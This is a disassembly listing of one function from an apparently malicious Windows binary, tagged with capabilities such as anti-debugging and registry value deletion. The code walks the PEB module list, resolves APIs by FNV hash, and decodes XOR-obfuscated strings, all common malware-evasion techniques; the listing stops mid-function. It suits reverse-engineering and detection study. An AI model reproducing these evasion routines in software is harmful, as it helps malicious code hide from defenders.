Function at 0x14003e930
Capabilities:
Access peb ldr_data
Delete registry value
Encode data using xor
Execute anti-debugging instructions
Get storage device properties
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3ae8]
mov eax, 0x3be8
call fcn.14007a540
sub rsp, rax
movaps xmmword [rsp + 0x3bd0], xmm6
mov dword [rsp + 0x70], 0
xor eax, eax
mov byte [rbp + 0x3b48], al
mov byte [rbp - 1], al
lea rcx, [rbp + 0x3560]
call fcn.1400757c0
movabs rcx, 0x393e9e69b9a82fdc
movabs rdx, 0x35a6e12927fe2ccb
movabs rbx, 0x2c29a7380212da33
movabs rsi, 0x397a9e19b9d82f9d
movabs r8, 0x49951a7ef1e845a0
movabs r9, 0xf30b90f1f1ebe8dc
movabs r10, 0xd68b6f2c511cafee
mov qword [rbp + 0x1550], rsi
movabs rdi, 0x35fae148278a2caa
mov qword [rbp + 0x1558], rdi
movabs r11, 0x2c48a75b027dda7f
mov qword [rbp + 0x1560], r11
movabs r14, 0x49f01a2af1b445cc
mov qword [rbp + 0x1568], r14
movabs r11, 0xf30b90adf19be8b1
mov qword [rbp + 0x1570], r11
mov qword [rbp + 0x1578], r10
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x3a8], rdx
mov qword [rbp + 0x3b0], rbx
mov qword [rbp + 0x3b8], r8
mov qword [rbp + 0x3c0], r9
mov qword [rbp + 0x3c8], r10
xor ecx, ecx
mov byte [rbp], cl
movdqa xmm0, xmmword [rbp + 0x1550]
pxor xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x3a0], xmm0
movdqa xmm1, xmmword [rbp + 0x1560]
pxor xmm1, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x3b0], xmm1
movdqa xmm0, xmmword [rbp + 0x1570]
pxor xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x3c0], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x3a0]
mov rcx, rax
call fcn.14004fc20
mov rbx, rax
lea rcx, [rbp + 0x3560]
call fcn.14002fce0
cmp rbx, 0xffffffffffffffff
je 0x14003f028
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x19b0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x14003eb40
mov r9, qword [rbp + 0x19b8]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x14003eb37
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x14003eb10
cmp r10d, esi
jne 0x14003ec87
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14003ec8f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x14003ec87
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x14003ec87
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x14003ebc7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x14003eba0
cmp r10d, r8d
je 0x14003ebd9
test r11d, r11d
jne 0x14003eb80
mov rax, qword [rax]
jmp 0x14003ead0
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x14003ec91
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14003ec91
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x14003ec44
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x14003ec20
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x14003ec76
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x14003ec50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003ead0
xor ebx, ebx
movabs rax, 0x397a9e19b9d82f9d
mov qword [rbp + 0x1110], rax
movabs r8, 0x35fae148278a2caa
mov qword [rbp + 0x1118], r8
movabs rax, 0x145aca49f08a64ce
mov qword [rbp + 0x180], rax
movabs rax, 0x35fa932755f8698a
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x1110]
pxor xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
movabs rdx, 0x5d1ffb7799ad40c4
movabs rdi, 0x9b7fb0c09ee98e91
movabs rsi, 0xa4ea4f7c18468f8b
movabs r9, 0x478e992d07e5588a
movabs r10, 0xc2dcf2f2209b91e
movabs r11, 0x3b9572499fc124a0
movabs rcx, 0x3d22d478c491a43a
movabs rax, 0x397a9e19b9d82f9d
movabs r14, 0x3a22e62ad7545630
movabs r15, 0xa8fffcc420c08b72
movabs r12, 0x6bc64c313786c065
movabs r13, 0x71d01474850dccb3
mov qword [rbp + 0xd40], rax
mov qword [rbp + 0xd48], r8
movabs rax, 0x2c48a75b027dda7f
mov qword [rbp + 0xd50], rax
movabs rax, 0x49f01a2af1b445cc
mov qword [rbp + 0xd58], rax
movabs rax, 0xf30b90adf19be8b1
mov qword [rbp + 0xd60], rax
movabs rax, 0xd68b6f2c511cafee
mov qword [rbp + 0xd68], rax
movabs r8, 0x5344c64fa13d3e53
mov qword [rbp + 0xd70], r8
movabs rax, 0xe7bbf6ce0eb4f800
mov qword [rbp + 0xd78], rax
movabs rax, 0xeb42f1163c98e45
mov qword [rbp + 0xd80], rax
movabs rax, 0x1ab37d00a568b8d2
mov qword [rbp + 0xd88], rax
movabs rax, 0x22beccd3ee2147a7
mov qword [rbp + 0xd90], rax
movabs rax, 0x38a4eec27713ad94
mov qword [rbp + 0xd98], rax
movabs rax, 0x35faae85ead48459
mov qword [rbp + 0xda0], rax
movabs rax, 0x455304469773db6
mov qword [rbp + 0xda8], rax
movabs rax, 0xa5eeaaa7f1951bfb
mov qword [rbp + 0xdb0], rax
movabs rax, 0x9716bd66bf759828
mov qword [rbp + 0xdb8], rax
movabs rax, 0x166ff8c9cd6af1ad
mov qword [rbp + 0xdc0], rax
mov qword [rbp + 0xdc8], rcx
mov qword [rbp + 0x650], rdx
mov qword [rbp + 0x658], r9
mov qword [rbp + 0x660], r10
mov qword [rbp + 0x668], r11
mov qword [rbp + 0x670], rdi
mov qword [rbp + 0x678], rsi
mov qword [rbp + 0x680], r14
mov qword [rbp + 0x688], r15
mov qword [rbp + 0x690], r12
mov qword [rbp + 0x698], r13
movabs rax, 0x2cca3b5ce5233c2
mov qword [rbp + 0x6a0], rax
movabs rax, 0x7df3ceee077fc8fc
mov qword [rbp + 0x6a8], rax
movabs rax, 0x7ab48ec9a69dd379
mov qword [rbp + 0x6b0], rax
movabs rax, 0x737560082c3f1de2
mov qword [rbp + 0x6b8], rax
movabs rax, 0xcc9dcbc5d1fd6f92
mov qword [rbp + 0x6c0], rax
movabs rax, 0xe17fd505cd14b84b
mov qword [rbp + 0x6c8], rax
movabs rax, 0x380a9fa8be1fd1c8
mov qword [rbp + 0x6d0], rax
mov qword [rbp + 0x6d8], rcx
movdqa xmm0, xmmword [rbp + 0xd40]
pxor xmm0, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0x650], xmm0
movdqa xmm1, xmmword [rbp + 0x660]
pxor xmm1, xmmword [rbp + 0xd50]
movdqa xmmword [rbp + 0x660], xmm1
movdqa xmm0, xmmword [rbp + 0x670]
pxor xmm0, xmmword [rbp + 0xd60]
movdqa xmmword [rbp + 0x670], xmm0
movdqa xmm1, xmmword [rbp + 0x680]
pxor xmm1, xmmword [rbp + 0xd70]
movdqa xmmword [rbp + 0x680], xmm1
movdqa xmm0, xmmword [rbp + 0x690]
pxor xmm0, xmmword [rbp + 0xd80]
movdqa xmmword [rbp + 0x690], xmm0
movdqa xmm1, xmmword [rbp + 0x6a0]
pxor xmm1, xmmword [rbp + 0xd90]
movdqa xmmword [rbp + 0x6a0], xmm1
movdqa xmm0, xmmword [rbp + 0x6b0]
pxor xmm0, xmmword [rbp + 0xda0]
movdqa xmmword [rbp + 0x6b0], xmm0
movdqa xmm1, xmmword [rbp + 0x6c0]
pxor xmm1, xmmword [rbp + 0xdb0]
movdqa xmmword [rbp + 0x6c0], xmm1
movdqa xmm0, xmmword [rbp + 0x6d0]
pxor xmm0, xmmword [rbp + 0xdc0]
movdqa xmmword [rbp + 0x6d0], xmm0
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x650]
jmp 0x1400472db
cmp word [0x7ffe0030], 0x43
je 0x14003fc29
movabs r8, 0x395a9e37b9fa2fa7
movabs r9, 0x35dae12d27e22cfe
movabs r10, 0x2c3ca73d0212da0c
movabs r11, 0x49951a58f1d545bb
movabs r15, 0xf34790e4f1cce891
movabs r12, 0xd6c46f62513cafa2
movabs r13, 0x5311c609a11d3e07
mov qword [rbp + 0xe70], rsi
mov qword [rbp + 0xe78], rdi
movabs rax, 0x2c48a75b027dda7f
mov qword [rbp + 0xe80], rax
mov qword [rbp + 0xe88], r14
movabs rax, 0xf30b90adf19be8b1
mov qword [rbp + 0xe90], rax
movabs rax, 0xd68b6f2c511cafee
mov qword [rbp + 0xe98], rax
movabs r14, 0x5344c64fa13d3e53
mov qword [rbp + 0xea0], r14
movabs rsi, 0xe7bbf6ce0eb4f800
mov qword [rbp + 0xea8], rsi
movabs rdi, 0xeb42f1163c98e45
mov qword [rbp + 0xeb0], rdi
movabs rbx, 0x1ab37d00a568b8d2
mov qword [rbp + 0xeb8], rbx
movabs rax, 0x22beccd3ee2147a7
mov qword [rbp + 0xec0], rax
movabs rax, 0x38a4eec27713ad94
mov qword [rbp + 0xec8], rax
movabs rax, 0x35faae85ead48459
mov qword [rbp + 0xed0], rax
movabs rax, 0x455304469773db6
mov qword [rbp + 0xed8], rax
movabs rax, 0xa5eeaaa7f1951bfb
mov qword [rbp + 0xee0], rax
movabs rax, 0x9716bd66bf759828
mov qword [rbp + 0xee8], rax
movabs rax, 0x166ff8c9cd6af1ad
mov qword [rbp + 0xef0], rax
movabs rcx, 0x3d22d478c491a43a
mov qword [rbp + 0xef8], rcx
movabs rax, 0xde8f848bda65ce8f
mov qword [rbp + 0xf00], rax
movabs rdx, 0x12567fdaf2406d5c
mov qword [rbp + 0xf08], rdx
movabs rax, 0xe66df2ddeb0e43c1
mov qword [rbp + 0xf10], rax
movabs rax, 0x1ecee75c437e20fe
mov qword [rbp + 0xf18], rax
movabs rax, 0x5490d5ff0ee94a63
mov qword [rbp + 0xf20], rax
movabs rax, 0xb0225c7ec5e5bc90
mov qword [rbp + 0xf28], rax
movabs rax, 0xd71a94c1d2fa0bd5
mov qword [rbp + 0xf30], rax
movabs rax, 0xf240c4b0cdac7d62
mov qword [rbp + 0xf38], rax
movabs rax, 0x16212f03ededad37
mov qword [rbp + 0xf40], rax
movabs rax, 0x7464f9f2f545eea4
mov qword [rbp + 0xf48], rax
movabs rax, 0x5b9b3135325c1569
mov qword [rbp + 0xf50], rax
movabs rax, 0x7fa02cf42a3a5f46
mov qword [rbp + 0xf58], rax
movabs rax, 0x75ec4f5770d5010b
mov qword [rbp + 0xf60], rax
movabs rax, 0x7459971634f36c38
mov qword [rbp + 0xf68], rax
movabs rax, 0xc8b6d5f9d1a53fbd
mov qword [rbp + 0xf70], rax
movabs rax, 0xef69b1a8c0d04d4a
mov qword [rbp + 0xf78], rax
movabs rax, 0x1ea301bb194d459f
mov qword [rbp + 0xf80], rax
movabs rax, 0xf0d68e0a2a3a7bec
mov qword [rbp + 0xf88], rax
movabs rax, 0x4964608d82e20b51
mov qword [rbp + 0xf90], rax
movabs rax, 0x81c5550cdb51e88e
mov qword [rbp + 0xf98], rax
movabs rax, 0x1cf73bafce78fdf3
mov qword [rbp + 0xfa0], rax
movabs rax, 0x1fc102ef05114a0
mov qword [rbp + 0xfa8], rax
mov qword [rbp + 0x780], r8
mov qword [rbp + 0x788], r9
mov qword [rbp + 0x790], r10
mov qword [rbp + 0x798], r11
mov qword [rbp + 0x7a0], r15
mov qword [rbp + 0x7a8], r12
mov qword [rbp + 0x7b0], r13
movabs rax, 0xe7f2f69a0ef7f84e
mov qword [rbp + 0x7b8], rax
movabs rax, 0xec32f3163878e0a
mov qword [rbp + 0x7c0], rax
movabs rax, 0x1a937d68a51cb8bb
mov qword [rbp + 0x7c8], rax
movabs rax, 0x22cdccbaee4947d3
mov qword [rbp + 0x7d0], rax
movabs rax, 0x38cdeeb07777adb4
mov qword [rbp + 0x7d8], rax
movabs rax, 0x3599aea5eab1842f
mov qword [rbp + 0x7e0], rax
movabs rax, 0x43c302269193dd9
mov qword [rbp + 0x7e8], rax
movabs rax, 0xa58faad5f1e01b9c
mov qword [rbp + 0x7f0], rax
movabs rax, 0x9778bd09bf1c985c
mov qword [rbp + 0x7f8], rax
movabs rax, 0x163ff8c3cd60f183
mov qword [rbp + 0x800], rax
movabs rax, 0x3d51d419c4f4a456
mov qword [rbp + 0x808], rax
movabs rax, 0xdeea84f9da45ceea
mov qword [rbp + 0x810], rax
movabs rax, 0x12227fa9f22e6d35
mov qword [rbp + 0x818], rax
movabs rax, 0xe64df2b1eb6243a0
mov qword [rbp + 0x820], rax
movabs rax, 0x1eaae73243172089
mov qword [rbp + 0x828], rax
movabs rax, 0x54b0d58c0e9e4a0c
mov qword [rbp + 0x830], rax
movabs rax, 0xb0565c5ec58abce3
mov qword [rbp + 0x838], rax
movabs rax, 0xd76994e1d29f0bbd
mov qword [rbp + 0x840], rax
movabs rax, 0xf225c4c4cddf7d1b
mov qword [rbp + 0x848], rax
movabs rax, 0x16522f6aedcdad5a
mov qword [rbp + 0x850], rax
movabs rax, 0x7417f99cf52cee84
mov qword [rbp + 0x858], rax
movabs rax, 0x5bf73159323d151d
mov qword [rbp + 0x860], rax
movabs rax, 0x7fcf2cd42a5e5f23
mov qword [rbp + 0x868], rax
movabs rax, 0x75cc4f3670f50165
mov qword [rbp + 0x870], rax
movabs rax, 0x742f977f34816c5c
mov qword [rbp + 0x878], rax
movabs rax, 0xc8dfd58ed1853fd8
mov qword [rbp + 0x880], rax
movabs rax, 0xef1db188c0b84d3e
mov qword [rbp + 0x888], rax
movabs rax, 0x1ec7019b192845f7
mov qword [rbp + 0x890], rax
movabs rax, 0xf0a38e6b2a5c7b89
mov qword [rbp + 0x898], rax
movabs rax, 0x490860ad82960b3d
mov qword [rbp + 0x8a0], rax
movabs rax, 0x81a05578db25e8eb
mov qword [rbp + 0x8a8], rax
movabs rax, 0x1cb43b8dce58fd81
mov qword [rbp + 0x8b0], rax
movabs rax, 0x1fc102ef073149a
mov qword [rbp + 0x8b8], rax
movdqa xmm0, xmmword [rbp + 0xe70]
pxor xmm0, xmmword [rbp + 0x780]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm1, xmmword [rbp + 0xe80]
pxor xmm1, xmmword [rbp + 0x790]
movdqa xmmword [rbp + 0x790], xmm1
movdqa xmm0, xmmword [rbp + 0xe90]
pxor xmm0, xmmword [rbp + 0x7a0]
movdqa xmmword [rbp + 0x7a0], xmm0
movdqa xmm1, xmmword [rbp + 0xea0]
pxor xmm1, xmmword [rbp + 0x7b0]
movdqa xmmword [rbp + 0x7b0], xmm1
movdqa xmm0, xmmword [rbp + 0xeb0]
pxor xmm0, xmmword [rbp + 0x7c0]
movdqa xmmword [rbp + 0x7c0], xmm0
movdqa xmm1, xmmword [rbp + 0xec0]
pxor xmm1, xmmword [rbp + 0x7d0]
movdqa xmmword [rbp + 0x7d0], xmm1
movdqa xmm0, xmmword [rbp + 0xed0]
pxor xmm0, xmmword [rbp + 0x7e0]
movdqa xmmword [rbp + 0x7e0], xmm0
movdqa xmm1, xmmword [rbp + 0xee0]
pxor xmm1, xmmword [rbp + 0x7f0]
movdqa xmmword [rbp + 0x7f0], xmm1
movdqa xmm0, xmmword [rbp + 0xef0]
pxor xmm0, xmmword [rbp + 0x800]
movdqa xmmword [rbp + 0x800], xmm0
movdqa xmm1, xmmword [rbp + 0xf00]
pxor xmm1, xmmword [rbp + 0x810]
movdqa xmmword [rbp + 0x810], xmm1
movdqa xmm0, xmmword [rbp + 0xf10]
pxor xmm0, xmmword [rbp + 0x820]
movdqa xmmword [rbp + 0x820], xmm0
movdqa xmm1, xmmword [rbp + 0xf20]
pxor xmm1, xmmword [rbp + 0x830]
movdqa xmmword [rbp + 0x830], xmm1
movdqa xmm0, xmmword [rbp + 0xf30]
pxor xmm0, xmmword [rbp + 0x840]
movdqa xmmword [rbp + 0x840], xmm0
movdqa xmm1, xmmword [rbp + 0xf40]
pxor xmm1, xmmword [rbp + 0x850]
movdqa xmmword [rbp + 0x850], xmm1
movdqa xmm0, xmmword [rbp + 0xf50]
pxor xmm0, xmmword [rbp + 0x860]
movdqa xmmword [rbp + 0x860], xmm0
movdqa xmm1, xmmword [rbp + 0xf60]
pxor xmm1, xmmword [rbp + 0x870]
movdqa xmmword [rbp + 0x870], xmm1
movdqa xmm0, xmmword [rbp + 0xf70]
pxor xmm0, xmmword [rbp + 0x880]
movdqa xmmword [rbp + 0x880], xmm0
movdqa xmm1, xmmword [rbp + 0xf80]
pxor xmm1, xmmword [rbp + 0x890]
movdqa xmmword [rbp + 0x890], xmm1
movdqa xmm0, xmmword [rbp + 0xf90]
pxor xmm0, xmmword [rbp + 0x8a0]
movdqa xmmword [rbp + 0x8a0], xmm0
movdqa xmm1, xmmword [rbp + 0xfa0]
pxor xmm1, xmmword [rbp + 0x8b0]
movdqa xmmword [rbp + 0x8b0], xmm1
movzx edx, word [0x7ffe0030]
lea rcx, [rbp + 0x33a0]
call fcn.140054270
nop
movabs rax, 0x39089e6cb9b72fc4
movabs rcx, 0x3594e12127dd2c8a
movabs rdx, 0x2c3ba72c0212da1b
movabs r8, 0x49831a44f1dd45ec
movabs r9, 0xf36790c1f1fae8c5
movabs r10, 0xd6e46f455168af8f
movabs r11, 0x5336c62ba11d3e3d
movabs r15, 0xe79bf6ab0ec2f869
movabs r12, 0xe962f3163ba8e2c
movabs r13, 0x397a9e19b9d82f9d
mov qword [rbp + 0xc30], r13
movabs r13, 0x35fae148278a2caa
mov qword [rbp + 0xc38], r13
movabs r13, 0x2c48a75b027dda7f
mov qword [rbp + 0xc40], r13
movabs r13, 0x49f01a2af1b445cc
mov qword [rbp + 0xc48], r13
movabs r13, 0xf30b90adf19be8b1
mov qword [rbp + 0xc50], r13
movabs r13, 0xd68b6f2c511cafee
mov qword [rbp + 0xc58], r13
mov qword [rbp + 0xc60], r14
mov qword [rbp + 0xc68], rsi
mov qword [rbp + 0xc70], rdi
mov qword [rbp + 0xc78], rbx
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], rcx
mov qword [rbp + 0x550], rdx
mov qword [rbp + 0x558], r8
mov qword [rbp + 0x560], r9
mov qword [rbp + 0x568], r10
mov qword [rbp + 0x570], r11
mov qword [rbp + 0x578], r15
mov qword [rbp + 0x580], r12
mov qword [rbp + 0x588], rbx
movdqa xmm0, xmmword [rbp + 0xc30]
pxor xmm0, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x540], xmm0
movdqa xmm1, xmmword [rbp + 0xc40]
pxor xmm1, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x550], xmm1
movdqa xmm0, xmmword [rbp + 0xc50]
pxor xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x560], xmm0
movdqa xmm1, xmmword [rbp + 0xc60]
pxor xmm1, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x570], xmm1
movdqa xmm0, xmmword [rbp + 0xc70]
pxor xmm0, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x580], xmm0
lea r8, [rbp + 0x33a0]
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x35e0]
call fcn.140055640
nop
lea rdx, [rbp + 0x780]
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [rdx + rcx*2], 0
jne 0x14003f921
mov r8, rcx
lea rdx, [rbp + 0x780]
mov rcx, rax
call fcn.1400597b0
mov rdx, rax
lea rcx, [rbp + 0x33c0]
call fcn.14002fde0
nop
lea rcx, [rbp + 0x35e0]
call fcn.14002fce0
nop
lea rcx, [rbp + 0x33a0]
call fcn.14002fce0
xor esi, esi
mov edi, 0x3625758e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x19a0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x14003f9f0
mov r8, qword [rbp + 0x19a8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x14003f9e7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x14003f9c0
cmp r9d, esi
jne 0x14003fb35
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14003fb3d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x14003fb35
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x14003fb35
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov r8d, dword [rcx + r11]
add r8, r11
mov r9d, 0x811c9dc5
movzx ebx, byte [r8]
inc r8
test bl, bl
je 0x14003fa77
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x14003fa50
cmp r9d, edi
je 0x14003fa89
test r10d, r10d
jne 0x14003fa30
mov rax, qword [rax]
jmp 0x14003f980
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14003fb3f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14003fb3f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x14003faf4
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x14003fad0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x14003fb24
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x14003fb00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003f980
xor ebx, ebx
movabs rax, 0x397a9e19b9d82f9d
mov qword [rbp + 0x13d0], rax
movabs rax, 0x35fae148278a2caa
mov qword [rbp + 0x13d8], rax
movabs rax, 0x2c48a75b027dda7f
mov qword [rbp + 0x13e0], rax
movabs rax, 0x49f01a2af1b445cc
mov qword [rbp + 0x13e8], rax
movabs rax, 0x39339e4bb9932fce
mov qword [rbp + 0x300], rax
movabs rax, 0x35d7e16827de2cfa
mov qword [rbp + 0x308], rax
movabs rax, 0x2c3aa7290238da5f
mov qword [rbp + 0x310], rax
movabs rax, 0x49f01a2af1c645a3
mov qword [rbp + 0x318], rax
movdqa xmm0, xmmword [rbp + 0x13d0]
pxor xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x300], xmm0
movdqa xmm1, xmmword [rbp + 0x13e0]
pxor xmm1, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0x310], xmm1
lea rcx, [rbp + 0x33c0]
call fcn.14002b160
mov r9d, 0x40010
lea r8, [rbp + 0x300]
mov rdx, rax
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0x33c0]
call fcn.14002fce0
jmp 0x1400472e5
lea rcx, [rbp + 0x98]
call fcn.14001c9f0
nop
xor esi, esi
mov edi, 0xfa19af96
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1120], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x14003fcc0
mov r8, qword [rbp + 0x1128]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x14003fcb7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x14003fc90
cmp r9d, esi
jne 0x14003fe15
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14003fe1d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov qword [rbp + 8], rdx
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x14003fe15
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x14003fe15
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x14003fd57
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x14003fd30
cmp r9d, edi
je 0x14003fd69
test r10d, r10d
jne 0x14003fd04
mov rax, qword [rax]
jmp 0x14003fc50
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x14003fe1f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x14003fe1f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x14003fdd4
nop word [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x14003fdb0
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x14003fe04
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x14003fde0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003fc50
xor edx, edx
mov ecx, 0x20
call rdx
mov r15, rax
test rax, rax
je 0x14003ffcc
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov ebx, eax
lea r8, [rbp + 1]
movzx edx, byte [rbp + 2]
lea rcx, [rbp + 0x240]
call fcn.14001c9f0
lea r8, [rbp - 0x48]
mov edx, ebx
lea rcx, [rbp + 0x240]
call fcn.140056640
nop
xor r14d, r14d
mov rcx, qword [rbp + 0x248]
mov rbx, qword [rbp + 0x240]
sub rcx, rbx
movabs r13, 0x76b981dae6076b99
mov rax, r13
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14003ffb6
xor r12d, r12d
nop
add rbx, r12
mov rax, qword [r15]
mov rax, qword [rax + 0x28]
mov r9, rbx
xor r8d, r8d
mov edx, r14d
mov rcx, r15
call rax
test eax, eax
jne 0x14003ff7b
